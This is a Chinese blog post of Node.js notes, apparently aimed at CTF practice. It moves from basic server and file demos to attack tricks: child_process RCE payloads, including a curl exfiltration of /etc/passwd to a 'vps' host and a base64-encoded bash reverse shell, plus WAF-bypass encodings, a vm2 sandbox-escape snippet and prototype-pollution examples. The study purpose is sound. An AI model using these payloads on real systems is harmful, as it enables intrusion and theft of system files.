nodejs相关笔记及一些trick

nodejs相关笔记及一些trick

nodejs是对高性能V8引擎(chrome浏览器的JavaScript引擎)的封装

nodejs中的JavaScript:

  1. 没有BOM、DOM
  2. 有EcmaScript:基本的JavaScript语言部分
  3. 在node中为JavaScript提供了一些服务器级别的API

nodejs web服务器demo:

var http = require("http");
//使用require函数引用http模块,从而能够拥有http的引用变量
function process_request(req, res) {
    var body = 'a node web server demo for test';
    var content_lenth = body.length;
    res.writeHead(200, {
        'Content-Lenth': content_lenth,
        'Content-Type': 'text/plain'
    });
    res.end(body);
}

var s = http.createServer(process_request);
//返回一个server实例
//createServer函数只会接受一个函数参数,它会在用户连接到服务器的时候被调用
//前面写的函数会被作为参数传递进去,该函数会被赋予一个请求对象和一个响应对象
s.listen(2333, function() {
    console.log('start success')
});
//服务器被创建后会指定某个特定端口上监听传入的请求
// ( [ ` 前最好加分号

文件读写demo:

var fs = require("fs");
fs.readFile("./test.txt", function(error, data) {
    if (error) {
        console.log("read file error");
    } else {
        console.log(data.toString)
    }
})
fs.writeFile('./test.txt', 'shanks', function(error, data) {
    console.log("write file susses");
})
//相对路径、必须要写“./”否则报错
//第一个参数:文件路径、第二个参数:文件内容、第三个参数:回调函数

服务器接收请求信息demo:

var http = require('http')
var server = http.createServer()
server.on('request', function(req, res) {
    console.log('get client req:' + req.url)
    res.write('hello')
    res.write('nodejs')
    res.end()
})

//rquest请求事件需要接受两个参数:
//request:请求对象,可以用来获取客户端的请求信息,比如请求路径
//response:响应对象,可以用来给客户端发送响应消息。他有一个方法,write可以给客户端发送响应数据,write方法可以使用多次,但是最后一定要使用end来结束响应,否则客户端会一直等待
server.listen(2333)

根据不同请求返回不同内容:

var http = require('http')

// 创建server
var server = http.createServer()

// 监听resquest请求事件,设置请求处理函数
server.on('request', function(req, res) {
    var url = req.url
        // 1.获取请求路经,req.url获取到的都是端口号之后的那部分路径,"/xxx"
        // 2.判断路径处理响应
    if (url === '/') {
        res.end('index page')
    } else if (url === '/login') {
        res.end('login page')
    } else {
        res.end('404')
    }
})

//响应内容只能是二进制数据或者字符串,我们想要返回数字、对象、数组、布尔值就可以用JSON.stringfy()
//3.绑定端口号,启动服务
server.listen(2333, function() {
    console.log('server started')
})

常见漏洞

RCE

nodejs中执行系统命令是使用chile_process模块的exec方法,该方法调用/bash.sh,是一个bash解释器,原型链RCE就是要获取child_process

RCE时,直接require有时候是获取不到的

//导入express模块
var express = require("express");
//初始化express
var app = express();

app.post('/eval', function(req, res) {
    rce = JSON.stringify(req.query.q);//将 JavaScript 值转换为 JSON 字符串
    res.send(eval(rce));
    console.log(req.query.q);
})

var server = app.listen(1234, function() {
    console.log("server start: http://127.0.0.1:1234/");
})

利用child_process下的可以执行命令的模块,常用payload

require('child_process').exec('ls')

require('child_process').exec('curl -F "x=`cat /etc/passwd`" http://vps');;

require('child_process').exec('echo xxx|base64 -d|bash');
xxx: bash -i >& /dev/tcp/[vpsIp]/[port] 0>&1 转换成base64

global.process.mainModule.constructor._load('child_process').exec('ls')

setTimeout(require('child_process').exec,1000,"ls");

setInterval(require('child_process').exec,1000,"calc");

Function("console.log('HelloWolrd')")()

弱类型

nodejs使用了JavaScript的语法,而js又是弱类型语言,自然把其特性带到nodejs中了

字符串与数字经由一个二元运算符最后返回的是字符串类型

%title插图%num

对象可以转化为布尔值

%title插图%num

本该返回对象的函数a.fn()隐式的转换成了字符串“hello”显示

%title插图%num

使用编码\模板字符\数组等绕过waf

"constructor"
//八进制
"\143\157\156\163\164\162\165\143\164\157\162"
//十六进制
"\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72"
//unicode
"\u0063\u006f\u006e\u0073\u0074\u0072\u0075\u0063\u0074\u006f\u0072"
//反引号(模板字符串)
`\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72`

%title插图%num

%title插图%num

调用命令

%title插图%num

单双引号的waf,可以使用unicode的绕过

\u0065val(String.fromCharCode(116,114,121,123,10,32,32,32,32,32,32......))

String.fromCharCode()将 Unicode 编码转为一个字符

%title插图%num

模板字符串的写法允许我们进行字符拼接

%title插图%num

["process"] //waf
["global.process"]  // 绕过

将数组中的字符串取出来,和waf中的字符串进行比对。但是是完整的payload字符串显然不会被任何单个的waf关键字匹配到。

数组绕过trick:a[["n"]]还是被理解成a.n

%title插图%num

沙盒逃逸

感觉跟python的沙盒逃逸差不多吧...,给你一个沙盒,里面process类似的危险代码基本是undefined的

通过this.constructor.constructor('return this.process.env')()bypass,
vm2相比于vm环境限制更加严格。原先通过this获取constructor的方法不再行得通。目前主流的方法主要是通过trycatch语句构造。通过try语句中报错进入到catch块,假如catch块捕捉到的错误比如是由host扔出的,就能利用不加限制的host一步步获取属性到require进而命令执行。

try {        this.process.removeListener();     }     catch (host_exception) {        console.log('host exception: ' + host_exception.toString());        host_constructor = host_exception.constructor.constructor;        host_process = host_constructor('return this')().process;  child_process = host_process.mainModule.require("child_process");  console.log(child_process.execSync("cat /etc/passwd").toString());    }

Error().stack
使用此命令可以爆出stack strace.相当于是一个FUZZ手段了.爆出错误信息如vm.js或者vm2.js就可以去收集对应的payload了。

首先要找现成payload的话,直接上github上issue找就好了,有位dalao专业研究沙盒逃逸,基本上所有版本的payload都是他找的,直接issue里搜breakout即可。

原型链污染攻击

通过污染一个基础对象的原型来引发RCE

js原型:

%title插图%num

每一个实例对象都有一个prototype属性,prototype 属性可以向对象添加属性和方法:

object.prototype.name=value

每一个实例对象都有一个__proto__属性,这个实例属性指向对象的原型对象(即原型)。可以通过以下方式访问得到某一实例对象的原型对象:

objectname["__proto__"]objectname.__proto__objectname.constructor.prototype
  • 不同对象所生成的原型链如下(部分):
var o = {a: 1};// o对象直接继承了Object.prototype// 原型链:// o ---> Object.prototype ---> nullvar a = ["yyy", "248", "?"];// 数组都继承于 Array.prototype// 原型链:// a ---> Array.prototype ---> Object.prototype ---> nullfunction f(){  return 2;}// 函数都继承于 Function.prototype// 原型链:// f ---> Function.prototype ---> Object.prototype ---> null

原理:

对于语句:object[a][b] = value 如果可以控制a、b、value的值,将a设置为__proto__,我们就可以给object对象的原型设置一个b属性,值为value。这样所有继承object对象原型的实例对象在本身不拥有b属性的情况下,都会拥有b属性,且值为value。

object1 = {"a":1, "b":2};object1.__proto__.foo = "Hello World";console.log(object1.foo);object2 = {"c":1, "d":2};console.log(object2.foo);

%title插图%num

最终会输出两个Hello World。为什么object2在没有设置foo属性的情况下,也会输出Hello World呢?就是因为在第二条语句中,我们对object1的原型对象设置了一个foo属性,而object2和object1一样,都是继承了Object.prototype。在获取object2.foo时,由于object2本身不存在foo属性,就会往父类Object.prototype中去寻找。这就造成了一个原型链污染,所以原型链污染简单来说就是如果能够控制并修改一个对象的原型,就可以影响到所有和这个对象同一个原型的对象。

原型链污染攻击:

function merge(target, source) {    for (let key in source) {        if (key in source && key in target) {            merge(target[key], source[key])        } else {            target[key] = source[key]        }    }}let object1 = {}let object2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')merge(object1, object2)console.log(object1.a, object1.b)object3 = {}console.log(object3.b)

%title插图%num

这边需要注意的一个点是JSON.parese这个点,之所以要有这个操作是为了让merge在整合的时候把proto作为一个键整合,这就是js机制的问题了。

js大小写特性

对于toUpperCase():

字符"ı"、"ſ" 经过toUpperCase处理后结果为 "I"、"S"

对于toLowerCase():

字符"K"经过toLowerCase处理后结果为"k"(这个K不是K)

Reference

https://bycsec.top/2020/04/20/Nodejs%E7%9A%84%E4%B8%80%E4%BA%9B%E6%8A%80%E5%B7%A7/

https://xz.aliyun.com/t/7184#toc-3


后续复现nodejs的题目

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇